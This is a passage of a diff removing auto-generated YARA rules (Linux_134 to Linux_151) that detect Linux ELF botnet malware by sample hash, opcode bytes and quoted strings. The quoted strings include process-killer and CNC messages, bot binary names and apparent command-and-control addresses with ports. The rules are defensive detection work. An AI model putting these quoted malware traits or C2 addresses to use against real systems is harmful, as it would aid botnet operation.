- $op1 = { 31 c0 8b 14 24 8b 4c 24 44 8b 34 82 8d 04 40 8d }
- $op2 = { b9 ff ff ff 7f c7 44 24 0c }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_134 {
- meta:
- description = "Linux_134"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "522b56eebbd9e3cdef43e7ce67e21ee1d2a7d2e3100528da3ab8b2844adff487"
- strings:
- $s1 = "E4tmPh" fullword ascii
- $s2 = "D$pQQjXPR" fullword ascii
- $s3 = "lvrvup9w0zwi6nuqf0kilumln8ox5vgv6" fullword ascii
- $s4 = "\\$(iD$" fullword ascii
- $s5 = "whQWUR" fullword ascii
- $s6 = "D$$j@j" fullword ascii
- $s7 = "|$'fto" fullword ascii
- $s8 = ";T$(}Q" fullword ascii
- $s9 = ";|$(t:PPj" fullword ascii
- $s10 = "}/C;T$" fullword ascii
- $s11 = "T$`VVj" fullword ascii
- $s12 = "D$,j@j" fullword ascii
- $s13 = "D$$Y[j" fullword ascii
- $s14 = "D$$QQPh" fullword ascii
- $s15 = " 9|$$u" fullword ascii
- $s16 = "D$(;|$(tlPPj" fullword ascii
- $s17 = "u\\PPSV" fullword ascii
- $s18 = "F,QQPW" fullword ascii
- $s19 = "D$,3D$(P" fullword ascii
- $s20 = ";D$8t`;D$ tZ;D$$tC" fullword ascii
-
- $op0 = { 31 c0 8b 54 24 10 8b 4c 24 64 8b 34 82 8d 04 40 }
- $op1 = { b9 ff ff ff 7f c7 44 24 0c }
- $op2 = { 89 14 24 e9 4e ff ff ff 83 7c 24 0c 01 19 c0 83 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_135 {
- meta:
- description = "Linux_135"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "e37f4fa0e71402767605c95f7a96c841cb0027e82e0a2815e3b4a3ac04740310"
- strings:
- $x1 = "$(/bin/busybox w" ascii
- $s4 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s5 = "killall" fullword ascii
- $s6 = "E4tmPh" fullword ascii
- $s7 = "MCJBG@K." fullword ascii
- $s8 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii
- $s9 = " && mv " fullword ascii
- $s10 = "xAPPSh`" fullword ascii
- $s11 = "PTRhF?" fullword ascii
- $s12 = "whQWUR" fullword ascii
- $s13 = "D$(j@j" fullword ascii
- $s14 = "|$'fto" fullword ascii
- $s15 = ";T$(}Q" fullword ascii
- $s16 = ";|$(t:PPj" fullword ascii
- $s17 = "}/C;T$" fullword ascii
- $s18 = "D$ [Xj" fullword ascii
- $s19 = "T$`VVj" fullword ascii
- $s20 = "9|$$tBPPj" fullword ascii
-
- $op0 = { b9 ff ff ff 7f c7 44 24 0c }
- $op1 = { 89 14 24 e9 4e ff ff ff 83 7c 24 0c 01 19 c0 83 }
- $op2 = { c6 44 1c 0e 2d eb ac 85 c0 0f 89 74 ff ff ff 89 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_136 {
- meta:
- description = "Linux_136"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "f9b389f4895fbc45328f1403ce5c0c40a33c0fd3165ed367faab6b5e6cb66d94"
- strings:
- $s1 = "[killer] Killed process with PID %d, Path %s" fullword ascii
- $s2 = "[killer] Failed to kill process" fullword ascii
- $s3 = "Failed to kill process" fullword ascii
- $s4 = "[killer] Found process with name %s (PID: %d)" fullword ascii
- $s5 = "[httpd] server started on port %d, listening for connections" fullword ascii
- $s6 = "[killer] Killing random alpha string process %d" fullword ascii
- $s7 = "[killer] Process killed successfully." fullword ascii
- $s8 = "Killing process with PID: %s" fullword ascii
- $s9 = "[httpd] connection established" fullword ascii
- $s10 = "receieved termination command from cnc" fullword ascii
- $s11 = "finished recv http header" fullword ascii
- $s12 = "Error opening /proc directory" fullword ascii
- $s13 = "[main] Attempting to connect to CNC" fullword ascii
- $s14 = "[killer] Failed to open directory /proc" fullword ascii
- $s15 = "Failed to open /proc directory" fullword ascii
- $s16 = "[httpd] failed to open /proc/self/exe" fullword ascii
- $s17 = "[httpd] file size does not match read() return val" fullword ascii
- $s18 = "Resolved %s to %d IPv4 addresses" fullword ascii
- $s19 = "Failed to bind udp socket." fullword ascii
- $s20 = "in udp threads" fullword ascii
-
- $op0 = { b9 ff ff ff 7f c7 44 24 0c }
- $op1 = { 89 14 24 e9 4e ff ff ff 83 7c 24 0c 01 19 c0 83 }
- $op2 = { 89 7c 24 64 39 d3 7c 34 89 d8 89 54 24 60 29 d0 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_137 {
- meta:
- description = "Linux_137"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7f360a2910e63bb5ee124ad471f1262ee58e1edf290dc88c7f12a8b5405ad55d"
- strings:
- $s1 = "}#XP9)" fullword ascii
- $s2 = "}#Kx8!" fullword ascii
- $s3 = "T`X(}iJx|c" fullword ascii
- $s4 = "|iJxTc" fullword ascii
- $s5 = " }$KxB" fullword ascii
- $s6 = " P}xHP" fullword ascii
- $s7 = "}J>p}GPP" fullword ascii
- $s8 = "\"\\8!\"`N" fullword ascii
- $s9 = "}J>p}IPP~i" fullword ascii
- $s10 = "}KSx}>" fullword ascii
- $s11 = "$}+Kx9k" fullword ascii
- $s12 = "}k>p}iXP" fullword ascii
- $s13 = "})>p}%HP" fullword ascii
- $s14 = ">}(Kx/" fullword ascii
- $s15 = "}k>p}hXP" fullword ascii
-
- $op0 = { 94 21 ff f0 7c 08 02 a6 93 c1 00 08 3f c0 10 02 }
- $op1 = { 90 01 00 08 56 52 04 3e 56 73 04 3e 56 94 04 3e }
- $op2 = { 57 db 04 3e 90 01 00 08 39 20 00 00 3b 40 00 00 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_138 {
- meta:
- description = "Linux_138"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "e19c581a6f7b9b82e959f6a5f9b9a06c57ed83860a75f5e5ece843b332a39109"
- strings:
- $s1 = "?/bin/sh" fullword ascii
- $s2 = "KxTi@.|" fullword ascii
- $s3 = "d/etc/resolv.conf" fullword ascii
- $s4 = "\\})@P/" fullword ascii
- $s5 = "\\}kH.}i" fullword ascii
- $s6 = "}#XP9)" fullword ascii
- $s7 = "}#Kx8!" fullword ascii
- $s8 = "})PP9I" fullword ascii
- $s9 = "})0P})Z" fullword ascii
- $s10 = "}#Kx|j" fullword ascii
- $s11 = "}@PPq`" fullword ascii
- $s12 = "}KSx;@" fullword ascii
- $s13 = "}eXP= " fullword ascii
- $s14 = "a)I7}#H" fullword ascii
- $s15 = "} 899+" fullword ascii
- $s16 = "`P}l[x}" fullword ascii
- $s17 = "}z[x9!" fullword ascii
- $s18 = "}JZx9)" fullword ascii
- $s19 = "})Zx9c" fullword ascii
- $s20 = "}H2x9k" fullword ascii
-
- $op0 = { 38 81 03 34 90 1b 00 00 38 a0 05 ea 38 c0 40 00 }
- $op1 = { 90 1b 00 00 38 81 03 34 38 a0 05 ea 38 c0 40 00 }
- $op2 = { 39 69 00 34 39 29 00 04 7c 0b 09 2e 42 00 ff f4 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_139 {
- meta:
- description = "Linux_139"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "be2e7e14470eb6ca548c2eb9d5dff13010c0eaeeb23ce46883f371b6834525ca"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s2 = " /proc/" fullword ascii
- $s3 = "}#XP9)" fullword ascii
- $s4 = "}#Kx8!" fullword ascii
- $s5 = "T`X(}iJx|c" fullword ascii
- $s6 = "|iJxTc" fullword ascii
- $s7 = " }$KxB" fullword ascii
- $s8 = "\"\\8!\"`N" fullword ascii
- $s9 = "}KSx}>" fullword ascii
- $s10 = "$}+Kx9k" fullword ascii
- $s11 = ">}(Kx/" fullword ascii
- $s12 = "}j[x9j" fullword ascii
- $s13 = "} HPU)" fullword ascii
-
- $op0 = { 94 21 ff f0 7c 08 02 a6 93 c1 00 08 3f c0 10 02 }
- $op1 = { 90 01 00 08 56 52 04 3e 56 73 04 3e 56 94 04 3e }
- $op2 = { 57 db 04 3e 90 01 00 08 39 20 00 00 3b 40 00 00 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_140 {
- meta:
- description = "Linux_140"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "29ef4c5d9172b09d6abc08da800a5a09b460b98aaadf1aa29edda81300fcc609"
- strings:
- $s1 = "condi2 %s:%d" fullword ascii
- $s2 = "netstat" fullword ascii
- $s3 = " /etc/resolv.conf" fullword ascii
- $s4 = "bot.ppc" fullword ascii
- $s5 = "bot.arm" fullword ascii
- $s6 = "?/bin/sh" fullword ascii
- $s7 = "bot.arm5" fullword ascii
- $s8 = "bot.mips" fullword ascii
- $s9 = "@KZYA\\EL@" fullword ascii
- $s10 = "bot.arm7" fullword ascii
- $s11 = "bot.arm6" fullword ascii
- $s12 = "bot.mpsl" fullword ascii
- $s13 = "\\})@P/" fullword ascii
- $s14 = "}#XP9)" fullword ascii
- $s15 = "}#Kx8!" fullword ascii
- $s16 = "})PP9I" fullword ascii
- $s17 = "})0P})Z" fullword ascii
- $s18 = "}#Kx|j" fullword ascii
- $s19 = "}@PPq`" fullword ascii
- $s20 = "}KSx;@" fullword ascii
-
- $op0 = { 38 60 00 00 90 1f 00 04 48 00 00 34 80 03 00 08 }
- $op1 = { 7c 03 03 78 80 01 00 34 bb 41 00 18 38 21 00 30 }
- $op2 = { 90 01 00 a8 48 00 01 34 3b a1 00 48 7f c3 f3 78 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_141 {
- meta:
- description = "Linux_141"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "c6851adf4f68fbb3690986886eb2eb17c9aa344bffb0b09ca419a7d3e6e07ee3"
- strings:
- $s1 = "}#XP9)" fullword ascii
- $s2 = "}#Kx8!" fullword ascii
- $s3 = "T`X(}iJx|c" fullword ascii
- $s4 = "|iJxTc" fullword ascii
- $s5 = " }$KxB" fullword ascii
- $s6 = " P}xHP" fullword ascii
- $s7 = "}J>p}GPP" fullword ascii
- $s8 = "\"\\8!\"`N" fullword ascii
- $s9 = "}J>p}IPP~i" fullword ascii
- $s10 = "$}+Kx9k" fullword ascii
- $s11 = "}k>p}iXP" fullword ascii
- $s12 = "})>p}%HP" fullword ascii
- $s13 = ">}(Kx/" fullword ascii
- $s14 = "}k>p}hXP" fullword ascii
- $s15 = "BAdAsV" fullword ascii
- $s16 = "x|cFp|c" fullword ascii
- $s17 = "X(}iJx" fullword ascii
- $s18 = "Tc@.|c" fullword ascii
- $s19 = "8U h$|" fullword ascii
- $s20 = "})np} HPU+" fullword ascii
-
- $op0 = { 94 21 ff f0 7c 08 02 a6 93 c1 00 08 3f c0 10 02 }
- $op1 = { 38 a0 00 1c 38 c0 00 00 7f 84 e3 78 54 76 06 3e }
- $op2 = { 60 00 ff ff 54 7a 06 3e 7f 94 00 00 41 9e 03 0c }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_142 {
- meta:
- description = "Linux_142"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1e30f0453e2576b7cd6d74ee95ae434d63dae6bbdba5f6873f73dfee42d8ebf1"
- strings:
- $s1 = "__stdio_mutex_initializer.3862" fullword ascii
- $s2 = "completed.3069" fullword ascii
- $s3 = " 92.249.48.114:1337" fullword ascii
- $s4 = "libc/sysdeps/linux/powerpc/crtn.S" fullword ascii
- $s5 = "libc/sysdeps/linux/powerpc/brk.S" fullword ascii
- $s6 = "libc/sysdeps/linux/powerpc/crti.S" fullword ascii
- $s7 = "libc/sysdeps/linux/powerpc/crt1.S" fullword ascii
- $s8 = "been_there_done_that.2829" fullword ascii
- $s9 = "object.3150" fullword ascii
- $s10 = "?/bin/sh" fullword ascii
- $s11 = "spec_and_mask.4078" fullword ascii
- $s12 = "spec_or_mask.4077" fullword ascii
- $s13 = "spec_base.4073" fullword ascii
- $s14 = "tcsetattr.c" fullword ascii
- $s15 = "libc/sysdeps/linux/powerpc/vfork.S" fullword ascii
- $s16 = "unknown.1128" fullword ascii
- $s17 = "__GI_tcsetattr" fullword ascii
- $s18 = "next_start.1106" fullword ascii
- $s19 = "spec_chars.4075" fullword ascii
- $s20 = "qual_chars.4079" fullword ascii
-
- $op0 = { 90 01 00 a8 48 00 01 34 3b a1 00 48 7f c3 f3 78 }
- $op1 = { b0 09 00 06 80 1f 00 34 7c 09 03 78 38 09 00 0c }
- $op2 = { 7c 7e 18 f8 3b 40 00 00 98 01 00 0a 7c 7f 1b 78 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_143 {
- meta:
- description = "Linux_143"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "b9d84f7904006c21d0bdee32c725cf358a23bddb73b5cc0ba3a157b7bcdd1643"
- strings:
- $s1 = "__stdio_mutex_initializer.3862" fullword ascii
- $s2 = "completed.3069" fullword ascii
- $s3 = "libc/sysdeps/linux/powerpc/crtn.S" fullword ascii
- $s4 = "libc/sysdeps/linux/powerpc/brk.S" fullword ascii
- $s5 = "libc/sysdeps/linux/powerpc/crti.S" fullword ascii
- $s6 = "libc/sysdeps/linux/powerpc/crt1.S" fullword ascii
- $s7 = "been_there_done_that.2829" fullword ascii
- $s8 = "object.3150" fullword ascii
- $s9 = "?/bin/sh" fullword ascii
- $s10 = "spec_and_mask.4078" fullword ascii
- $s11 = "spec_or_mask.4077" fullword ascii
- $s12 = "spec_base.4073" fullword ascii
- $s13 = "tcsetattr.c" fullword ascii
- $s14 = "libc/sysdeps/linux/powerpc/vfork.S" fullword ascii
- $s15 = "unknown.1128" fullword ascii
- $s16 = "__GI_tcsetattr" fullword ascii
- $s17 = "next_start.1106" fullword ascii
- $s18 = "spec_chars.4075" fullword ascii
- $s19 = "qual_chars.4079" fullword ascii
- $s20 = "prefix.4074" fullword ascii
-
- $op0 = { 90 01 00 a8 48 00 01 34 3b a1 00 48 7f c3 f3 78 }
- $op1 = { 90 1f 00 2c 48 00 0e 34 80 1f 00 2c 81 3f 00 30 }
- $op2 = { 90 1f 01 34 80 1f 02 58 90 1f 01 38 80 1f 00 2c }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_144 {
- meta:
- description = "Linux_144"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1cff10813dd78e9fe51c7644c842a8c971fba6744df63a72ee53aa6b58bd0b2e"
- strings:
- $s1 = "Unable To Connect to Target: %s:%d " fullword ascii
- $s2 = "Connected To Target: %s:%d " fullword ascii
- $s3 = "get_cmdline" fullword ascii
- $s4 = "commandparsing" fullword ascii
- $s5 = "cmdlinekillstrings" fullword ascii
- $s6 = "decodedshit" fullword ascii
- $s7 = "connecthosts" fullword ascii
- $s8 = "killer_cmdlinelol" fullword ascii
- $s9 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2" fullword ascii
- $s10 = "cmdparse" fullword ascii
- $s11 = "pathread" fullword ascii
- $s12 = "Sending requests to: %s:%d " fullword ascii
- $s13 = "Device Connected [Name:%s] [Arch:%s] [UID:%d]" fullword ascii
- $s14 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" fullword ascii
- $s15 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" fullword ascii
- $s16 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5" fullword ascii
- $s17 = "attackpids" fullword ascii
- $s18 = "whitlistpaths" fullword ascii
- $s19 = "estring" fullword ascii
- $s20 = "dstring" fullword ascii
-
- $op0 = { 98 01 00 16 39 29 c5 34 38 00 00 01 bf c1 00 58 }
- $op1 = { 94 21 ff f0 7c 08 02 a6 93 c1 00 08 3f c0 10 02 }
- $op2 = { 2f 80 00 25 7d 29 0e 70 7c c6 48 78 41 9e 00 0c }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_145 {
- meta:
- description = "Linux_145"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "ef30bd34f8c11e042e2600c62cf702515c94290207cf72fad1ec0d277221bb70"
- strings:
- $s1 = "hoste.6500" fullword ascii
- $s2 = "completed.5580" fullword ascii
- $s3 = " 195.62.32.227:666" fullword ascii
- $s4 = "tcsetattr.c" fullword ascii
- $s5 = "__GI_tcsetattr" fullword ascii
- $s6 = "__GI___waitpid" fullword ascii
- $s7 = "__GI___libc_waitpid" fullword ascii
- $s8 = "__waitpid" fullword ascii
- $s9 = "__sys_recvmsg" fullword ascii
- $s10 = "next_start.1347" fullword ascii
- $s11 = "qual_chars.6264" fullword ascii
- $s12 = "|i.pTk" fullword ascii
- $s13 = "object.5595" fullword ascii
- $s14 = "unknown.1370" fullword ascii
- $s15 = "spec_or_mask.6262" fullword ascii
- $s16 = "spec_and_mask.6263" fullword ascii
- $s17 = "}kSxU) 6}kKxW" fullword ascii
- $s18 = "spec_ranges.6261" fullword ascii
- $s19 = "spec_chars.6260" fullword ascii
- $s20 = "prefix.6256" fullword ascii
-
- $op0 = { 90 1f 00 0c 80 1f 00 34 90 1f 00 08 48 00 00 38 }
- $op1 = { 7d 34 4b 78 90 09 00 00 7c 9a 23 78 7c b6 2b 78 }
- $op2 = { 38 60 00 00 92 d9 00 08 93 59 00 0c 93 34 00 00 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_146 {
- meta:
- description = "Linux_146"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "08166a0d2fe65a3ad8b289cb2714c3a150635e29664bff24e5befc6b48526899"
- strings:
- $s1 = "/home/landley/aboriginal/aboriginal/build/temp-armv5l/gcc-core/gcc/config/arm/lib1funcs.asm" fullword ascii
- $s2 = "/home/landley/aboriginal/aboriginal/build/temp-armv5l/gcc-core/gcc/config/arm/pr-support.c" fullword ascii
- $s3 = "/home/landley/aboriginal/aboriginal/build/temp-armv5l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s4 = "/home/landley/aboriginal/aboriginal/build/temp-armv5l/build-gcc/gcc" fullword ascii
- $s5 = "/home/landley/aboriginal/aboriginal/build/temp-armv5l/gcc-core/gcc/config/arm/unwind-arm.c" fullword ascii
- $s6 = "/home/landley/aboriginal/aboriginal/build/temp-armv5l/gcc-core/gcc/config/arm/libunwind.S" fullword ascii
- $s7 = "/home/landley/aboriginal/aboriginal/build/temp-armv5l/gcc-core/gcc/config/arm" fullword ascii
- $s8 = "hoste.6548" fullword ascii
- $s9 = "u/etc/hosts" fullword ascii
- $s10 = "__sys_recvmsg" fullword ascii
- $s11 = "resolv_conf_mtime.6591" fullword ascii
- $s12 = "last_ns_num.6605" fullword ascii
- $s13 = "buf_size.5899" fullword ascii
- $s14 = "xdigits.4932" fullword ascii
- $s15 = "last_id.6606" fullword ascii
- $s16 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv5l/bin/../cc/include" fullword ascii
- $s17 = "buf.4507" fullword ascii
- $s18 = "i.4743" fullword ascii
- $s19 = "buf.6549" fullword ascii
-
- $op0 = { dc ff ff ff dc ff ff ff 94 6a 00 00 dc ff ff ff }
- $op1 = { f0 4f 2d e9 08 54 9f e5 08 34 9f e5 05 50 8f e0 }
- $op2 = { ef 00 00 55 e3 0c 00 a0 03 00 00 a0 13 04 d0 8d }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_147 {
- meta:
- description = "Linux_147"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "4509e84a9abcb732f0ee90bf27dd300247b23b6dac9b41cd01f59d6384b5348a"
- strings:
- $s1 = "/home/landley/aboriginal/aboriginal/build/temp-armv4tl/gcc-core/gcc/config/arm/lib1funcs.asm" fullword ascii
- $s2 = "/home/landley/aboriginal/aboriginal/build/temp-armv4tl/gcc-core/gcc/config/arm/pr-support.c" fullword ascii
- $s3 = "/home/landley/aboriginal/aboriginal/build/temp-armv4tl/gcc-core/gcc/config/arm" fullword ascii
- $s4 = "/home/landley/aboriginal/aboriginal/build/temp-armv4tl/build-gcc/gcc" fullword ascii
- $s5 = "/home/landley/aboriginal/aboriginal/build/temp-armv4tl/gcc-core/gcc/config/arm/libunwind.S" fullword ascii
- $s6 = "/home/landley/aboriginal/aboriginal/build/temp-armv4tl/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s7 = "/home/landley/aboriginal/aboriginal/build/temp-armv4tl/gcc-core/gcc/config/arm/unwind-arm.c" fullword ascii
- $s8 = "hoste.6548" fullword ascii
- $s9 = "u/etc/hosts" fullword ascii
- $s10 = "__sys_recvmsg" fullword ascii
- $s11 = "resolv_conf_mtime.6591" fullword ascii
- $s12 = "last_ns_num.6605" fullword ascii
- $s13 = "buf_size.5899" fullword ascii
- $s14 = "xdigits.4932" fullword ascii
- $s15 = "last_id.6606" fullword ascii
- $s16 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv4tl/bin/../cc/include" fullword ascii
- $s17 = "buf.4507" fullword ascii
- $s18 = "i.4743" fullword ascii
- $s19 = "buf.6549" fullword ascii
-
- $op0 = { dc ff ff ff dc ff ff ff 94 6a 00 00 dc ff ff ff }
- $op1 = { f0 4f 2d e9 08 54 9f e5 08 34 9f e5 05 50 8f e0 }
- $op2 = { ef 00 00 55 e3 0c 00 a0 03 00 00 a0 13 04 d0 8d }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_148 {
- meta:
- description = "Linux_148"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "ed85c3e25bac63b7e232ac3cfd91116bf7c64f1c4c96b933d5715bbe055ffc89"
- strings:
- $s1 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm" fullword ascii
- $s2 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/pr-support.c" fullword ascii
- $s3 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/libunwind.S" fullword ascii
- $s4 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/build-gcc/gcc" fullword ascii
- $s5 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm" fullword ascii
- $s6 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/unwind-arm.c" fullword ascii
- $s7 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s8 = "hoste.6548" fullword ascii
- $s9 = "u/etc/hosts" fullword ascii
- $s10 = "__sys_recvmsg" fullword ascii
- $s11 = "resolv_conf_mtime.6591" fullword ascii
- $s12 = "last_ns_num.6605" fullword ascii
- $s13 = "buf_size.5899" fullword ascii
- $s14 = "xdigits.4932" fullword ascii
- $s15 = "last_id.6606" fullword ascii
- $s16 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include" fullword ascii
- $s17 = "buf.4507" fullword ascii
- $s18 = "i.4743" fullword ascii
- $s19 = "buf.6549" fullword ascii
-
- $op0 = { dc ff ff ff dc ff ff ff 94 6a 00 00 dc ff ff ff }
- $op1 = { f0 4f 2d e9 08 54 9f e5 08 34 9f e5 05 50 8f e0 }
- $op2 = { ef 00 00 55 e3 0c 00 a0 03 00 00 a0 13 04 d0 8d }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_149 {
- meta:
- description = "Linux_149"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "d7e3112049c120623ecd43b59a9b8f78762ac2dfaddb022d52b34eb64a7b41a8"
- strings:
- $s1 = "__stdio_mutex_initializer.3833" fullword ascii
- $s2 = "completed.2296" fullword ascii
- $s3 = "object.2349" fullword ascii
- $s4 = "libc/sysdeps/linux/mips/crtn.S" fullword ascii
- $s5 = "libc/string/mips/memcpy.S" fullword ascii
- $s6 = "libc/sysdeps/linux/mips/crti.S" fullword ascii
- $s7 = "been_there_done_that.2792" fullword ascii
- $s8 = "libc/string/mips/memset.S" fullword ascii
- $s9 = "libc/sysdeps/linux/mips/crt1.S" fullword ascii
- $s10 = "next_start.1065" fullword ascii
- $s11 = "qual_chars.4050" fullword ascii
- $s12 = "spec_ranges.4047" fullword ascii
- $s13 = "spec_flags.4045" fullword ascii
- $s14 = "spec_and_mask.4049" fullword ascii
- $s15 = "spec_chars.4046" fullword ascii
- $s16 = "xdigits.3043" fullword ascii
- $s17 = "spec_base.4044" fullword ascii
- $s18 = "prefix.4045" fullword ascii
- $s19 = "spec_or_mask.4048" fullword ascii
- $s20 = "p.2294" fullword ascii
-
- $op0 = { 10 00 00 03 34 42 00 04 34 42 00 08 00 00 18 21 }
- $op1 = { 18 21 34 42 00 01 a6 02 00 00 8f bf 00 1c 8f b0 }
- $op2 = { 02 e2 10 2a 10 40 00 03 02 34 10 2a 14 40 ff 95 }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_150 {
- meta:
- description = "Linux_150"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "51469b2d273423acb55f71636cd2f3c06e2c706ff2cc7d28b91b142334e9f747"
- strings:
- $s1 = "Unable To Connect to Target: %s:%d " fullword ascii
- $s2 = "Connected To Target: %s:%d " fullword ascii
- $s3 = "get_cmdline" fullword ascii
- $s4 = "commandparsing" fullword ascii
- $s5 = "cmdlinekillstrings" fullword ascii
- $s6 = "decodedshit" fullword ascii
- $s7 = "connecthosts" fullword ascii
- $s8 = "killer_cmdlinelol" fullword ascii
- $s9 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2" fullword ascii
- $s10 = "cmdparse" fullword ascii
- $s11 = "pathread" fullword ascii
- $s12 = "Sending requests to: %s:%d " fullword ascii
- $s13 = "FRAMESZ" fullword ascii
- $s14 = "Device Connected [Name:%s] [Arch:%s] [UID:%d]" fullword ascii
- $s15 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" fullword ascii
- $s16 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" fullword ascii
- $s17 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5" fullword ascii
- $s18 = "attackpids" fullword ascii
- $s19 = "whitlistpaths" fullword ascii
- $s20 = "estring" fullword ascii
-
- $op0 = { 18 21 34 42 00 01 a6 02 00 00 8f bf 00 1c 8f b0 }
- $op1 = { 14 62 00 02 24 62 ff ff af a2 00 34 8f a2 00 34 }
- $op2 = { a3 a0 00 5f 27 a6 00 41 3c 02 0c cc 34 4c cc cc }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_151 {
- meta:
- description = "Linux_151"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
